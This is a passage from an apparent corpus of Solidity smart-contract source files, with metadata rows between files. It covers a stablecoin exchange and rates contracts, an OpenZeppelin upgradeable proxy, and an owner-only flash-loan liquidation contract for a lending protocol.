constructor(address permissionGranterContract) public {
require(permissionGranterContract != address(0), "permissionGranterContract must be set");
permissions[permissionGranterContract]["PermissionGranter"] = true;
emit PermissionGranted(permissionGranterContract, "PermissionGranter");
}
function grantPermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = true;
emit PermissionGranted(agent, requiredPermission);
}
function grantMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
grantPermission(agent, requiredPermissions[i]);
}
}
function revokePermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = false;
emit PermissionRevoked(agent, requiredPermission);
}
function revokeMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
revokePermission(agent, requiredPermissions[i]);
}
}
}
interface ERC20Interface {
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed from, address indexed to, uint amount);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function balanceOf(address who) external view returns (uint);
function allowance(address _owner, address _spender) external view returns (uint remaining);
}
interface TransferFeeInterface {
function calculateTransferFee(address from, address to, uint amount) external view returns (uint256 fee);
}
interface TokenReceiver {
function transferNotification(address from, uint256 amount, uint data) external;
}
contract AugmintTokenInterface is Restricted, ERC20Interface {
using SafeMath for uint256;
string public name;
string public symbol;
bytes32 public peggedSymbol;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
address public stabilityBoardProxy;
TransferFeeInterface public feeAccount;
mapping(bytes32 => bool) public delegatedTxHashesUsed;
event TransferFeesChanged(uint transferFeePt, uint transferFeeMin, uint transferFeeMax);
event Transfer(address indexed from, address indexed to, uint amount);
event AugmintTransfer(address indexed from, address indexed to, uint amount, string narrative, uint fee);
event TokenIssued(uint amount);
event TokenBurned(uint amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function delegatedTransfer(address from, address to, uint amount, string narrative,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken) external;
function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken) external;
function increaseApproval(address spender, uint addedValue) external returns (bool);
function decreaseApproval(address spender, uint subtractedValue) external returns (bool);
function issueTo(address to, uint amount) external;
function burn(uint amount) external;
function transferAndNotify(TokenReceiver target, uint amount, uint data) external;
function transferWithNarrative(address to, uint256 amount, string narrative) external;
function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external;
function allowance(address owner, address spender) external view returns (uint256 remaining);
function balanceOf(address who) external view returns (uint);
}
contract Rates is Restricted {
using SafeMath for uint256;
struct RateInfo {
uint rate;
uint lastUpdated;
}
mapping(bytes32 => RateInfo) public rates;
event RateChanged(bytes32 symbol, uint newRate);
constructor(address permissionGranterContract) public Restricted(permissionGranterContract) {}
function setRate(bytes32 symbol, uint newRate) external restrict("RatesFeeder") {
rates[symbol] = RateInfo(newRate, now);
emit RateChanged(symbol, newRate);
}
function setMultipleRates(bytes32[] symbols, uint[] newRates) external restrict("RatesFeeder") {
require(symbols.length == newRates.length, "symobls and newRates lengths must be equal");
for (uint256 i = 0; i < symbols.length; i++) {
rates[symbols[i]] = RateInfo(newRates[i], now);
emit RateChanged(symbols[i], newRates[i]);
}
}
function convertFromWei(bytes32 bSymbol, uint weiValue) external view returns(uint value) {
require(rates[bSymbol].rate > 0, "rates[bSymbol] must be > 0");
return weiValue.mul(rates[bSymbol].rate).roundedDiv(1000000000000000000);
}
function convertToWei(bytes32 bSymbol, uint value) external view returns(uint weiValue) {
require(rates[bSymbol].rate > 0, "rates[bSymbol] must be > 0");
return value.mul(1000000000000000000).roundedDiv(rates[bSymbol].rate);
}
}
contract Exchange is Restricted {
using SafeMath for uint256;
AugmintTokenInterface public augmintToken;
Rates public rates;
uint public constant CHUNK_SIZE = 100;
struct Order {
uint64 index;
address maker;
uint32 price;
uint amount;
}
uint64 public orderCount;
mapping(uint64 => Order) public buyTokenOrders;
mapping(uint64 => Order) public sellTokenOrders;
uint64[] private activeBuyOrders;
uint64[] private activeSellOrders;
uint32 private constant ORDER_MATCH_WORST_GAS = 100000;
event NewOrder(uint64 indexed orderId, address indexed maker, uint32 price, uint tokenAmount, uint weiAmount);
event OrderFill(address indexed tokenBuyer, address indexed tokenSeller, uint64 buyTokenOrderId,
uint64 sellTokenOrderId, uint publishedRate, uint32 price, uint fillRate, uint weiAmount, uint tokenAmount);
event CancelledOrder(uint64 indexed orderId, address indexed maker, uint tokenAmount, uint weiAmount);
event RatesContractChanged(Rates newRatesContract);
constructor(address permissionGranterContract, AugmintTokenInterface _augmintToken, Rates _rates)
public Restricted(permissionGranterContract) {
augmintToken = _augmintToken;
rates = _rates;
}
function setRatesContract(Rates newRatesContract)
external restrict("StabilityBoard") {
rates = newRatesContract;
emit RatesContractChanged(newRatesContract);
}
function placeBuyTokenOrder(uint32 price) external payable returns (uint64 orderId) {
require(price > 0, "price must be > 0");
require(msg.value > 0, "msg.value must be > 0");
orderId = ++orderCount;
buyTokenOrders[orderId] = Order(uint64(activeBuyOrders.length), msg.sender, price, msg.value);
activeBuyOrders.push(orderId);
emit NewOrder(orderId, msg.sender, price, 0, msg.value);
}
function placeSellTokenOrder(uint32 price, uint tokenAmount) external returns (uint orderId) {
augmintToken.transferFrom(msg.sender, this, tokenAmount);
return _placeSellTokenOrder(msg.sender, price, tokenAmount);
}
function transferNotification(address maker, uint tokenAmount, uint price) external {
require(msg.sender == address(augmintToken), "msg.sender must be augmintToken");
_placeSellTokenOrder(maker, uint32(price), tokenAmount);
}
function cancelBuyTokenOrder(uint64 buyTokenId) external {
Order storage order = buyTokenOrders[buyTokenId];
require(order.maker == msg.sender, "msg.sender must be order.maker");
require(order.amount > 0, "buy order already removed");
uint amount = order.amount;
order.amount = 0;
_removeBuyOrder(order);
msg.sender.transfer(amount);
emit CancelledOrder(buyTokenId, msg.sender, 0, amount);
}
function cancelSellTokenOrder(uint64 sellTokenId) external {
Order storage order = sellTokenOrders[sellTokenId];
require(order.maker == msg.sender, "msg.sender must be order.maker");
require(order.amount > 0, "sell order already removed");
uint amount = order.amount;
order.amount = 0;
_removeSellOrder(order);
augmintToken.transferWithNarrative(msg.sender, amount, "Sell token order cancelled");
emit CancelledOrder(sellTokenId, msg.sender, amount, 0);
}
function matchOrders(uint64 buyTokenId, uint64 sellTokenId) external {
require(_fillOrder(buyTokenId, sellTokenId), "fill order failed");
}
function matchMultipleOrders(uint64[] buyTokenIds, uint64[] sellTokenIds) external returns(uint matchCount) {
uint len = buyTokenIds.length;
require(len == sellTokenIds.length, "buyTokenIds and sellTokenIds lengths must be equal");
for (uint i = 0; i < len && gasleft() > ORDER_MATCH_WORST_GAS; i++) {
if(_fillOrder(buyTokenIds[i], sellTokenIds[i])) {
matchCount++;
}
}
}
function getActiveOrderCounts() external view returns(uint buyTokenOrderCount, uint sellTokenOrderCount) {
return(activeBuyOrders.length, activeSellOrders.length);
}
function getActiveBuyOrders(uint offset) external view returns (uint[4][CHUNK_SIZE] response) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < activeBuyOrders.length; i++) {
uint64 orderId = activeBuyOrders[offset + i];
Order storage order = buyTokenOrders[orderId];
response[i] = [orderId, uint(order.maker), order.price, order.amount];
}
}
function getActiveSellOrders(uint offset) external view returns (uint[4][CHUNK_SIZE] response) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < activeSellOrders.length; i++) {
uint64 orderId = activeSellOrders[offset + i];
Order storage order = sellTokenOrders[orderId];
response[i] = [orderId, uint(order.maker), order.price, order.amount];
}
}
function _fillOrder(uint64 buyTokenId, uint64 sellTokenId) private returns(bool success) {
Order storage buy = buyTokenOrders[buyTokenId];
Order storage sell = sellTokenOrders[sellTokenId];
if(buy.amount == 0 || sell.amount == 0) {
return false;
}
require(buy.price >= sell.price, "buy price must be >= sell price");
uint32 price = buyTokenId > sellTokenId ? sell.price : buy.price;
uint publishedRate;
(publishedRate,) = rates.rates(augmintToken.peggedSymbol());
uint fillRate = publishedRate.mul(price).roundedDiv(1000000);
uint sellWei = sell.amount.mul(1 ether).roundedDiv(fillRate);
uint tradedWei;
uint tradedTokens;
if (sellWei <= buy.amount) {
tradedWei = sellWei;
tradedTokens = sell.amount;
} else {
tradedWei = buy.amount;
tradedTokens = buy.amount.mul(fillRate).roundedDiv(1 ether);
}
buy.amount = buy.amount.sub(tradedWei);
if (buy.amount == 0) {
_removeBuyOrder(buy);
}
sell.amount = sell.amount.sub(tradedTokens);
if (sell.amount == 0) {
_removeSellOrder(sell);
}
augmintToken.transferWithNarrative(buy.maker, tradedTokens, "Buy token order fill");
sell.maker.transfer(tradedWei);
emit OrderFill(buy.maker, sell.maker, buyTokenId,
sellTokenId, publishedRate, price, fillRate, tradedWei, tradedTokens);
return true;
}
function _placeSellTokenOrder(address maker, uint32 price, uint tokenAmount)
private returns (uint64 orderId) {
require(price > 0, "price must be > 0");
require(tokenAmount > 0, "tokenAmount must be > 0");
orderId = ++orderCount;
sellTokenOrders[orderId] = Order(uint64(activeSellOrders.length), maker, price, tokenAmount);
activeSellOrders.push(orderId);
emit NewOrder(orderId, maker, price, tokenAmount, 0);
}
function _removeBuyOrder(Order storage order) private {
_removeOrder(activeBuyOrders, order.index);
}
function _removeSellOrder(Order storage order) private {
_removeOrder(activeSellOrders, order.index);
}
function _removeOrder(uint64[] storage orders, uint64 index) private {
if (index < orders.length - 1) {
orders[index] = orders[orders.length - 1];
}
orders.length--;
}
}
| 162,622 | 1,782 |
55ecf714ea190912aa5c95c989296be29ea75a4f735951147df732c7fba84270
| 27,929 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7b/7b7E4EBa6d1a97C77752E6596d2076736746A27e_TransparentUpgradeableProxyV1.sol
| 3,029 | 12,531 |
pragma solidity ^0.8.2;
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts v4.4.0 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.0 (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// OpenZeppelin Contracts v4.4.0 (proxy/ERC1967/ERC1967Upgrade.sol)
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation,
bytes memory data,
bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// OpenZeppelin Contracts v4.4.0 (proxy/ERC1967/ERC1967Proxy.sol)
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// OpenZeppelin Contracts v4.4.0 (proxy/transparent/TransparentUpgradeableProxy.sol)
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract TransparentUpgradeableProxyV1 is TransparentUpgradeableProxy {
constructor(address _logic,
address admin_,
bytes memory _data) TransparentUpgradeableProxy(_logic,
admin_,
_data) {}
}
| 126,280 | 1,783 |
a0481363b2065b4e0699a2074b5dd65f37c8de65bd07548ba6f300dc00ccde9d
| 18,660 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/84/844584831799c40191b87947e68e453d0cd75c1b_Liquidatooor.sol
| 3,412 | 13,230 |
pragma solidity ^0.8.12;
interface ERC3156FlashBorrowerInterface {
function onFlashLoan(address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data) external returns (bytes32);
}
interface IJToken {
function liquidateBorrow(address borrower,
uint256 repayAmount,
address JTokenCollateral) external returns (uint256);
function underlying() external view returns (address);
function redeem(uint256 redeemTokens) external returns (uint256);
}
interface Joetroller {
function isMarketListed(address jTokenAddress) external view returns (bool);
}
interface IJoeRouter02 {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityAVAX(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountAVAXMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountAVAX,
uint256 liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityAVAX(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountAVAXMin,
address to,
uint256 deadline) external returns (uint256 amountToken, uint256 amountAVAX);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityAVAXWithPermit(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountAVAXMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountToken, uint256 amountAVAX);
function swapExactTokensForTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactAVAXForTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function swapTokensForExactAVAX(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactTokensForAVAX(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapAVAXForExactTokens(uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function quote(uint256 amountA,
uint256 reserveA,
uint256 reserveB) external pure returns (uint256 amountB);
function getAmountOut(uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountOut);
function getAmountIn(uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
function removeLiquidityAVAXSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountAVAXMin,
address to,
uint256 deadline) external returns (uint256 amountAVAX);
function removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountAVAXMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountAVAX);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
}
interface ERC3156FlashLenderInterface {
function maxFlashLoan(address token) external view returns (uint256);
function flashFee(address token, uint256 amount) external view returns (uint256);
function flashLoan(ERC3156FlashBorrowerInterface receiver,
address token,
uint256 amount,
bytes calldata data) external returns (bool);
}
interface IERC20 {
function approve(address spender, uint256 amount) external;
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Liquidatooor is ERC3156FlashBorrowerInterface, Ownable{
address public joetroller;
address public joeRouter;
constructor (address _joetroller, address _joeRouter)
{
//TJ contracts to interact with
joetroller = _joetroller;
joeRouter = _joeRouter;
}
struct TokenPair{
address jToken;
address underlying;
} //Helps with stack to deep issues
function withdrawToken(address _tokenContract) external onlyOwner
{
IERC20 tokenContract = IERC20(_tokenContract);
uint256 amount = tokenContract.balanceOf(address(this));
bool success = tokenContract.transfer(address(msg.sender), amount);
require(success, "Failed to send Token");
} //To withdraw tokens from contract
function setJoeRouter(address _joeRouter) external onlyOwner
{
joeRouter = _joeRouter;
} //Incase the JoeRouter changes
function liquidateWithFlashLoan(address flashLoanLender,
uint256 repayAmount, //Amount of underlying token to repay
address repayJToken,
address accountToLiquidate,
address collateralJToken) external onlyOwner {
TokenPair memory repayPair = TokenPair(repayJToken, IJToken(repayJToken).underlying()); //repay jToken and underlying
TokenPair memory collateralPair = TokenPair(collateralJToken, IJToken(collateralJToken).underlying()); //collateral jToken and underlying
TokenPair memory flashPair = TokenPair(flashLoanLender, IJToken(flashLoanLender).underlying()); //flash loaned jToken and underlying
address[] memory path = new address[](2); //For JoeRouter
path[0] = flashPair.underlying;
path[1] = repayPair.underlying;
uint256 borrowAmount = IJoeRouter02(joeRouter).getAmountsIn(repayAmount,
path)[0];
// console.log("Need ",borrowAmount,IERC20(flashPair.underlying).symbol());
// console.log("to repay ",repayAmount, IERC20(repayPair.underlying).symbol());
//Perform flashloan
bytes memory data = abi.encode(repayAmount, repayPair, accountToLiquidate, collateralPair); //Encode params to pass to flashloan callback
ERC3156FlashLenderInterface(flashLoanLender).flashLoan(this, address(this), borrowAmount, data);
//log balance/profit
}
function onFlashLoan(address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data) external returns(bytes32){
//Checks
require(Joetroller(joetroller).isMarketListed(msg.sender), "untrusted message sender");
require(initiator == address(this), "FlashBorrower: Untrusted loan initiator");
address[] memory path = new address[](2); //Used for JoeRouter swaps
uint256[] memory amounts; //Used for JoeRouter swaps
(uint256 repayAmount, TokenPair memory repayPair, address accountToLiquidate, TokenPair memory collateralPair) =
abi.decode(data, (uint256,TokenPair,address,TokenPair)); //Params from liquidate fcn
IERC20(token).approve(joeRouter, amount); //Approve borrowed token for swap
IERC20(token).approve(msg.sender, amount + fee); //Approve borrowed token for repaying to flashloanlender
IERC20(repayPair.underlying).approve(repayPair.jToken, repayAmount); //Approve the repay token to repay debt to the lender
//Useful debug output
// console.log("Borrowed ",amount , IERC20(token).symbol());
// console.log("to liquidate",accountToLiquidate);
// console.log("using ", IERC20(repayPair.underlying).symbol());
// console.log("seizing ", IERC20(collateralPair.jToken).symbol());
//Swap flashloan token to account debt underlying token
path[0] = token;
path[1] = repayPair.underlying;
IJoeRouter02(joeRouter).swapTokensForExactTokens(repayAmount,
amount,
path,
address(this),
block.timestamp);
//Liquidate the account, seizing the jToken as collateral
uint256 returnCode_liq = IJToken(repayPair.jToken).liquidateBorrow(accountToLiquidate,
repayAmount,
collateralPair.jToken);
// console.log("Seized_JToken ",IERC20(collateralPair.jToken).balanceOf(address(this)));
require(returnCode_liq == 0,"Bad return code from liquidation"); //Check liquidation was successfil
//Redeem the seized jTokens for the underlying tokens
uint256 returnCode_redeem = IJToken(collateralPair.jToken).redeem(IERC20(collateralPair.jToken).balanceOf(address(this)));
require(returnCode_redeem == 0,"Bad return code from redeem"); //Check redeem was successful
uint256 seizedBalance = IERC20(collateralPair.underlying).balanceOf(address(this)); //Find how much underlying we recieved
// console.log("Redeemed ",seizedBalance);
//Swap the underlying token back to the flashloaned token so we can repay
path[0] = collateralPair.underlying;
path[1] = token;
amounts = IJoeRouter02(joeRouter).getAmountsOut(seizedBalance,
path);
// console.log("Borrowed token after swap",amounts[1]);
IERC20(collateralPair.underlying).approve(joeRouter,seizedBalance);
IJoeRouter02(joeRouter).swapExactTokensForTokens(seizedBalance,
amounts[1],//*(99*10^18)/(100*10^18), //slip 1% -doesn't work w/o this sometimes
path,
address(this),
block.timestamp);
//No need to check if we have made profit, if not flash loan repay will fail!
return keccak256("ERC3156FlashBorrowerInterface.onFlashLoan");
}
}
| 86,018 | 1,784 |
ceac249e9adeec1848ff8be136d73db8c1cc6ae23dd29b9246f1f02eb8cdcf26
| 14,855 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x688071B99C67C1253Ca2411350FdB8E1cC3fba75/contract.sol
| 3,696 | 14,171 |
// Dependency file: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
